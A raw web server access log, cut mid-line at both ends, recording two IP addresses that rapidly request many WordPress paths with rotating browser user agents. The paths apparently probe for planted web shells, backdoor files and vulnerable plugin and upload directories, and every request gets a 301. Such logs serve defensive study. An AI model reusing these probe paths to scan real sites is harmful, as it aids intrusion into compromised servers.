[23/Apr/2025:03:26:17 -0400] "GET /wp-admin/maint/yes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:26:17 -0400] "GET /wp-content/plugins/random/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:26:17 -0400] "GET /wp-content/plugins/prenota/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.91 - - [23/Apr/2025:03:26:18 -0400] "GET /wp-includes/pomo/mpvloi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.91 - - [23/Apr/2025:03:26:18 -0400] "GET /wp-content/plugins/random/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 149.88.19.89 - - [23/Apr/2025:03:26:18 -0400] "GET /wp-content/plugins/ubh/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:26:18 -0400] "GET /wp-admin/images/edit-tags.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.89 - - [23/Apr/2025:03:26:18 -0400] "GET /wp-content/plugins/Uwogh-Segs/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:26:18 -0400] "GET /wp-content/plugins/ubh/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:26:18 -0400] "GET /wp-admin/includes/media.php.INFECTED.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.88.19.89 - - [23/Apr/2025:03:26:18 -0400] "GET /wp-content/plugins/Uwogh-Segs/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.89 - - [23/Apr/2025:03:26:18 -0400] "GET /wp-content/plugins/wp-diambar/includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:26:18 -0400] "GET /wp-content/plugins/wp-freeform/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:26:18 -0400] "GET /wp-content/plugins/wp-diambar/includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.89 - - [23/Apr/2025:03:26:18 -0400] "GET /wp-content/plugins/wp-freeform/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:26:18 -0400] "GET /wp-content/plugins/wp-hps/sh/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 149.88.19.91 - - [23/Apr/2025:03:26:19 -0400] "GET /wp-content/plugins/wp-hps/sh/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.88.19.89 - - [23/Apr/2025:03:26:19 -0400] "GET /wp-content/plugins/wpeazvp/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:26:19 -0400] "GET /wp-includes/block-bindings.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:26:19 -0400] "GET /wp-content/plugins/zaen/includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:26:19 -0400] "GET /wp-content/plugins/wpeazvp/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:26:19 -0400] "GET /wp-content/uploads/revslider/templates/immersion-photography/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:26:19 -0400] "GET /wp-admin/css/colors/ectoplasm/str_shuffcle.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:26:19 -0400] "GET /wp-content/plugins/zaen/includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:26:19 -0400] "GET /files/css_compare.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:26:19 -0400] "GET /patriotic/wp-includes/images/smilies/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:26:19 -0400] "GET /wp-content/uploads/revslider/templates/immersion-photography/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:26:20 -0400] "GET /wp-includes/js/tinymce/plugins/fullscreen/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.89 - - [23/Apr/2025:03:26:20 -0400] "GET /wp-includes/0.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:26:20 -0400] "GET /patriotic/wp-includes/images/smilies/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:26:20 -0400] "GET /wp-content/plugins/core-stab/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 149.88.19.89 - - [23/Apr/2025:03:26:20 -0400] "GET /wp-admin/includes/go.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:26:20 -0400] "GET /wp-includes/js/tinymce/plugins/fullscreen/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:26:20 -0400] "GET /wp-content/themes/alera/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.91 - - [23/Apr/2025:03:26:20 -0400] "GET /wp-content/plugins/core-stab/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:26:20 -0400] "GET /wp-includes/prayer_intentions.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.89 - - [23/Apr/2025:03:26:21 -0400] "GET /wp-content/themes/rishi/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:26:21 -0400] "GET /wp-content/themes/alera/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:26:21 -0400] "GET /wp-includes/fonts/class-wp-font-collection.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:26:21 -0400] "GET /wp-content/themes/sketch/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:26:21 -0400] "GET /wp-content/themes/rishi/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:26:21 -0400] "GET /wp-admin/css/OK.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.91 - - [23/Apr/2025:03:26:21 -0400] "GET /wp-content/themes/sketch/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 149.88.19.89 - - [23/Apr/2025:03:26:21 -0400] "GET /wp-content/themes/thuoc-nam/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:26:21 -0400] "GET /wp-admin/maint/doc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:26:21 -0400] "GET /wp-content/themes/thuoc-nam/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.91 - - [23/Apr/2025:03:26:21 -0400] "GET /wp-admin/css/wp-damin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.89 - - [23/Apr/2025:03:26:21 -0400] "GET /wp-content/themes/twentyfive/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.89 - - [23/Apr/2025:03:26:21 -0400] "GET /wp-content/themes/wp-pridmag/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:26:21 -0400] "GET /wp-includes/Text/Diff/Renderer/last.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.91 - - [23/Apr/2025:03:26:22 -0400] "GET /wp-content/themes/twentyfive/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:26:22 -0400] "GET /wp-content/themes/pridmag/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.89 - - [23/Apr/2025:03:26:22 -0400] "GET /wp-content/uploads/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:26:22 -0400] "GET /wp-content/themes/wp-pridmag/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:26:22 -0400] "GET /wp-content/themes/zakra/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:26:22 -0400] "GET /wp-content/languages/ru_RU_lite.mo.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.89 - - [23/Apr/2025:03:26:22 -0400] "GET /wp-content/themes/pridmag/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.89 - - [23/Apr/2025:03:26:22 -0400] "GET /wp-content/uploads/simple-file-list/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.91 - - [23/Apr/2025:03:26:22 -0400] "GET /wp-includes/widgets/hehe.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:26:22 -0400] "GET /wp-content/themes/zakra/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:26:22 -0400] "GET /admin/upload/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.89 - - [23/Apr/2025:03:26:22 -0400] "GET /wp-includes/wp-admin-css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:26:22 -0400] "GET /wp-content/uploads/simple-file-list/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.88.19.91 - - [23/Apr/2025:03:26:23 -0400] "GET /wp-includes/Text/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:26:23 -0400] "GET /wp-admin/css/colors/blue/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:26:23 -0400] "GET /admin/upload/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 149.88.19.89 - - [23/Apr/2025:03:26:23 -0400] "GET /up/.well-known/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:26:23 -0400] "GET /wp-admin/images/searchl.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.91 - - [23/Apr/2025:03:26:23 -0400] "GET /wp-admin/css/colors/blue/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:26:23 -0400] "GET /wp-content/plugins/apikey/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.89 - - [23/Apr/2025:03:26:23 -0400] "GET /wp-content/uploads/js.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.91 - - [23/Apr/2025:03:26:23 -0400] "GET /up/.well-known/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:26:23 -0400] "GET /wp-content/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:26:23 -0400] "GET /wp-includes/PHPMailer/brand.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:26:23 -0400] "GET /wp-content/plugins/apikey/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:26:23 -0400] "GET /images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:26:23 -0400] "GET /wp-includes/widgets/class-wp-widget-media-audio-module.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.88.19.91 - - [23/Apr/2025:03:26:23 -0400] "GET /wp-content/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:26:23 -0400] "GET /css/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 149.88.19.89 - - [23/Apr/2025:03:26:23 -0400] "GET /wp-admin/includes/class-wp-pagebuilders-3bv4aS.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:26:24 -0400] "GET /images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 149.88.19.89 - - [23/Apr/2025:03:26:24 -0400] "GET /wp-admin/css/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:26:24 -0400] "GET /wp-includes/ID3/favicon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.89 - - [23/Apr/2025:03:26:24 -0400] "GET /css/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:26:24 -0400] "GET /wp-includes/js/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.91 - - [23/Apr/2025:03:26:24 -0400] "GET /wp-includes/js/codemirror/87.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:26:24 -0400] "GET /wp-admin/css/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:26:24 -0400] "GET /wp-includes/SimplePie/XML/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.89 - - [23/Apr/2025:03:26:24 -0400] "GET /wp-includes/block-template-utils.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:26:24 -0400] "GET /wp-includes/js/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.89 - - [23/Apr/2025:03:26:24 -0400] "GET /wp-content/uploads/wpr-addons/forms/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.91 - - [23/Apr/2025:03:26:24 -0400] "GET /wp-includes/fonts/browser.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:26:24 -0400] "GET /wp-includes/SimplePie/XML/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.91 - - [23/Apr/2025:03:26:24 -0400] "GET /wp-admin/maint/smile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:26:24 -0400] "GET /wp-content/plugins/WordPressCore/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:26:24 -0400] "GET /wp-content/uploads/wpr-addons/forms/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.89 - - [23/Apr/2025:03:26:25 -0400] "GET /wp-includes/wp-2019.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.89 - - [23/Apr/2025:03:26:25 -0400] "GET /wordpress/wp-admin/includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:26:25 -0400] "GET /wp-content/plugins/WordPressCore/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:26:25 -0400] "GET /wordpress/wp-admin/includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:26:25 -0400] "GET /images/architect.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:26:25 -0400] "GET /wp-includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.89 - - [23/Apr/2025:03:26:25 -0400] "GET /wp-includes/IXR/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:26:25 -0400] "GET /wp-includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.91 - - [23/Apr/2025:03:26:25 -0400] "GET /wp-includes/fonts/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:26:25 -0400] "GET /wp-includes/IXR/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.89 - - [23/Apr/2025:03:26:25 -0400] "GET /wp-includes/SimplePie/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.89 - - [23/Apr/2025:03:26:25 -0400] "GET /wp-includes/link-template-git.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:26:25 -0400] "GET /wp-includes/SimplePie/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.89 - - [23/Apr/2025:03:26:25 -0400] "GET /wp-includes/Text/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:26:25 -0400] "GET /cdxadmin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 